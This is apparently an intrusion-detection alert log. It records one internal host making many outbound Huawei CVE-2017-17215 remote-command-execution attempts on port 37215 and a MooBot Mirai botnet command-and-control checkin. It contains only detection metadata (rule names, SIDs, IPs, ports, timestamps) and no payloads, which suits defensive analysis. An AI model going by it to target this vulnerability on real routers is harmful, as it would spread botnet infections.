ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 173.17.210.150

Timestamp:	2024-08-01T15:35:28.720754+0200
SID:	2835222
Source Port:	42548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.146.85.92

Timestamp:	2024-08-01T15:35:50.305299+0200
SID:	2835222
Source Port:	58794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 36.222.190.185

Timestamp:	2024-08-01T15:36:26.824805+0200
SID:	2835222
Source Port:	34136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.2.206.148

Timestamp:	2024-08-01T15:35:45.277243+0200
SID:	2835222
Source Port:	32980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.68.174.202

Timestamp:	2024-08-01T15:35:33.070522+0200
SID:	2835222
Source Port:	48144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.185.190.45

Timestamp:	2024-08-01T15:36:34.857475+0200
SID:	2835222
Source Port:	46562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.126.233.59

Timestamp:	2024-08-01T15:36:06.712856+0200
SID:	2835222
Source Port:	59010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.229.55.75

Timestamp:	2024-08-01T15:36:09.884638+0200
SID:	2835222
Source Port:	42298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.37.111.168

Timestamp:	2024-08-01T15:35:32.976350+0200
SID:	2835222
Source Port:	60128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.240.99.19

Timestamp:	2024-08-01T15:35:48.348209+0200
SID:	2835222
Source Port:	37664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 100.137.158.175

Timestamp:	2024-08-01T15:36:24.468885+0200
SID:	2835222
Source Port:	43610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.41.71.88

Timestamp:	2024-08-01T15:35:21.879916+0200
SID:	2835222
Source Port:	54066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.89.173.242

Timestamp:	2024-08-01T15:35:21.880129+0200
SID:	2835222
Source Port:	39722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.239.119.248

Timestamp:	2024-08-01T15:36:53.743432+0200
SID:	2835222
Source Port:	52690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.137.115.65

Timestamp:	2024-08-01T15:35:21.918439+0200
SID:	2835222
Source Port:	40360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 137.36.89.58

Timestamp:	2024-08-01T15:36:09.888607+0200
SID:	2835222
Source Port:	45918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.92.6.145

Timestamp:	2024-08-01T15:36:36.977646+0200
SID:	2835222
Source Port:	46980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.195.101.27

Timestamp:	2024-08-01T15:36:06.868060+0200
SID:	2835222
Source Port:	45706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.135.194.191

Timestamp:	2024-08-01T15:36:03.758448+0200
SID:	2835222
Source Port:	52360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.219.67.173

Timestamp:	2024-08-01T15:35:16.337247+0200
SID:	2835222
Source Port:	59862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 34.214.141.25

Timestamp:	2024-08-01T15:35:20.574980+0200
SID:	2835222
Source Port:	38442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.90.219.159

Timestamp:	2024-08-01T15:36:14.905386+0200
SID:	2835222
Source Port:	43478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 163.42.224.94

Timestamp:	2024-08-01T15:35:20.210299+0200
SID:	2835222
Source Port:	54156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.235.68.178

Timestamp:	2024-08-01T15:36:15.321608+0200
SID:	2835222
Source Port:	58726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.189.102.91

Timestamp:	2024-08-01T15:35:40.228490+0200
SID:	2835222
Source Port:	47140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 181.72.99.167

Timestamp:	2024-08-01T15:35:48.348254+0200
SID:	2835222
Source Port:	55256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.59.64.28

Timestamp:	2024-08-01T15:36:20.309440+0200
SID:	2835222
Source Port:	47412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.53.237.26

Timestamp:	2024-08-01T15:35:21.906270+0200
SID:	2835222
Source Port:	47958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.75.174.255

Timestamp:	2024-08-01T15:36:57.625016+0200
SID:	2835222
Source Port:	43670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 207.165.74.56

Timestamp:	2024-08-01T15:36:53.745439+0200
SID:	2835222
Source Port:	52070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.159.222.178

Timestamp:	2024-08-01T15:35:21.842732+0200
SID:	2835222
Source Port:	55318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.138.68.130

Timestamp:	2024-08-01T15:34:58.055021+0200
SID:	2835222
Source Port:	38508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.153.178.53

Timestamp:	2024-08-01T15:35:40.227507+0200
SID:	2835222
Source Port:	45924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.73.44.185

Timestamp:	2024-08-01T15:35:20.210471+0200
SID:	2835222
Source Port:	59662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 223.97.96.43

Timestamp:	2024-08-01T15:36:14.810722+0200
SID:	2835222
Source Port:	54436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.79.201.24

Timestamp:	2024-08-01T15:36:30.755547+0200
SID:	2835222
Source Port:	38240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 9.190.232.44

Timestamp:	2024-08-01T15:35:21.836637+0200
SID:	2835222
Source Port:	54680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.37.247.66

Timestamp:	2024-08-01T15:36:24.826996+0200
SID:	2835222
Source Port:	34538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.56.204.216

Timestamp:	2024-08-01T15:36:52.618874+0200
SID:	2835222
Source Port:	55148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.250.27.33

Timestamp:	2024-08-01T15:36:01.668248+0200
SID:	2835222
Source Port:	44646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.100.80.184

Timestamp:	2024-08-01T15:35:50.304902+0200
SID:	2835222
Source Port:	53728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.50.116.233

Timestamp:	2024-08-01T15:36:44.232866+0200
SID:	2835222
Source Port:	37888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.141.88.113

Timestamp:	2024-08-01T15:36:14.831047+0200
SID:	2835222
Source Port:	49406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.65.108.30

Timestamp:	2024-08-01T15:35:20.575025+0200
SID:	2835222
Source Port:	36606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.221.244.29

Timestamp:	2024-08-01T15:36:11.085226+0200
SID:	2835222
Source Port:	53024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.144.85.8

Timestamp:	2024-08-01T15:36:09.857686+0200
SID:	2835222
Source Port:	45174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 99.216.115.116

Timestamp:	2024-08-01T15:35:16.495805+0200
SID:	2835222
Source Port:	44410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 102.39.195.141

Timestamp:	2024-08-01T15:35:20.210041+0200
SID:	2835222
Source Port:	37258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.38.152.24

Timestamp:	2024-08-01T15:36:24.670989+0200
SID:	2835222
Source Port:	56282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.160.38.240

Timestamp:	2024-08-01T15:35:20.545742+0200
SID:	2835222
Source Port:	49540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.53.76.199

Timestamp:	2024-08-01T15:35:16.730493+0200
SID:	2835222
Source Port:	45752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.181.169.63

Timestamp:	2024-08-01T15:35:32.992570+0200
SID:	2835222
Source Port:	42150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 134.41.166.92

Timestamp:	2024-08-01T15:36:52.652687+0200
SID:	2835222
Source Port:	53262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.215.49.120

Timestamp:	2024-08-01T15:35:20.214731+0200
SID:	2835222
Source Port:	57782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.27.85.88

Timestamp:	2024-08-01T15:36:55.997790+0200
SID:	2835222
Source Port:	37350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.203.12.247

Timestamp:	2024-08-01T15:36:28.681686+0200
SID:	2835222
Source Port:	35848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.17.1.228

Timestamp:	2024-08-01T15:35:20.215030+0200
SID:	2835222
Source Port:	50402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.43.0.28

Timestamp:	2024-08-01T15:35:37.243116+0200
SID:	2835222
Source Port:	40452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.61.148.16

Timestamp:	2024-08-01T15:35:20.203078+0200
SID:	2835222
Source Port:	41254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 158.3.45.150

Timestamp:	2024-08-01T15:36:22.356472+0200
SID:	2835222
Source Port:	41484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 169.3.99.65

Timestamp:	2024-08-01T15:35:56.500844+0200
SID:	2835222
Source Port:	40288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.219.197.16

Timestamp:	2024-08-01T15:35:21.882738+0200
SID:	2835222
Source Port:	52548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.243.78.48

Timestamp:	2024-08-01T15:35:16.318245+0200
SID:	2835222
Source Port:	46202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 193.208.219.4

Timestamp:	2024-08-01T15:35:53.373307+0200
SID:	2835222
Source Port:	53218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.155.245.48

Timestamp:	2024-08-01T15:36:22.355702+0200
SID:	2835222
Source Port:	34970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.159.169.54

Timestamp:	2024-08-01T15:36:20.306618+0200
SID:	2835222
Source Port:	43790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.238.235.163

Timestamp:	2024-08-01T15:35:15.533485+0200
SID:	2030490
Source Port:	40200
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.234.123.41

Timestamp:	2024-08-01T15:35:20.203164+0200
SID:	2835222
Source Port:	36768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.200.154.27

Timestamp:	2024-08-01T15:35:20.207481+0200
SID:	2835222
Source Port:	60664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 68.0.81.20

Timestamp:	2024-08-01T15:35:20.216574+0200
SID:	2835222
Source Port:	43126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.32.216.16

Timestamp:	2024-08-01T15:35:58.640102+0200
SID:	2835222
Source Port:	36022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.131.114.73

Timestamp:	2024-08-01T15:35:40.221522+0200
SID:	2835222
Source Port:	52128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.252.233.189

Timestamp:	2024-08-01T15:35:50.291631+0200
SID:	2835222
Source Port:	34134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.190.123.131

Timestamp:	2024-08-01T15:35:16.353164+0200
SID:	2835222
Source Port:	45878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.211.118.209

Timestamp:	2024-08-01T15:36:12.040285+0200
SID:	2835222
Source Port:	40866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.97.197.70

Timestamp:	2024-08-01T15:36:24.456626+0200
SID:	2835222
Source Port:	55146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.10.123.117

Timestamp:	2024-08-01T15:36:01.488807+0200
SID:	2835222
Source Port:	38040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.57.182.48

Timestamp:	2024-08-01T15:36:49.568655+0200
SID:	2835222
Source Port:	57112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 196.245.72.148

Timestamp:	2024-08-01T15:35:45.263837+0200
SID:	2835222
Source Port:	37416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.107.198.117

Timestamp:	2024-08-01T15:36:29.403555+0200
SID:	2835222
Source Port:	49108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.21.59.110

Timestamp:	2024-08-01T15:35:50.297906+0200
SID:	2835222
Source Port:	58770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.32.81.182

Timestamp:	2024-08-01T15:36:03.706239+0200
SID:	2835222
Source Port:	56916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.219.253.245

Timestamp:	2024-08-01T15:35:20.204831+0200
SID:	2835222
Source Port:	43132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.97.108.43

Timestamp:	2024-08-01T15:36:49.760736+0200
SID:	2835222
Source Port:	39086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.89.107.167

Timestamp:	2024-08-01T15:35:21.891577+0200
SID:	2835222
Source Port:	47622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.213.113.199

Timestamp:	2024-08-01T15:35:21.870188+0200
SID:	2835222
Source Port:	49340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.11.149.39

Timestamp:	2024-08-01T15:35:28.716822+0200
SID:	2835222
Source Port:	46600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.164.144.222

Timestamp:	2024-08-01T15:36:14.855087+0200
SID:	2835222
Source Port:	45398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.61.200.243

Timestamp:	2024-08-01T15:35:54.607459+0200
SID:	2835222
Source Port:	35004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 222.13.253.191

Timestamp:	2024-08-01T15:35:53.373438+0200
SID:	2835222
Source Port:	55814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.108.171.2

Timestamp:	2024-08-01T15:36:36.981963+0200
SID:	2835222
Source Port:	58322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.210.198.23

Timestamp:	2024-08-01T15:35:16.816863+0200
SID:	2835222
Source Port:	42024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.125.175.119

Timestamp:	2024-08-01T15:35:20.210893+0200
SID:	2835222
Source Port:	59092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.92.243.160

Timestamp:	2024-08-01T15:35:21.863613+0200
SID:	2835222
Source Port:	53234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 161.151.213.58

Timestamp:	2024-08-01T15:34:59.702580+0200
SID:	2835222
Source Port:	59706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.33.161.73

Timestamp:	2024-08-01T15:36:09.948499+0200
SID:	2835222
Source Port:	47008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 98.232.165.251

Timestamp:	2024-08-01T15:36:51.593196+0200
SID:	2835222
Source Port:	48160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 222.239.93.139

Timestamp:	2024-08-01T15:34:57.435581+0200
SID:	2835222
Source Port:	38164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 107.71.89.123

Timestamp:	2024-08-01T15:35:17.224077+0200
SID:	2835222
Source Port:	43348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

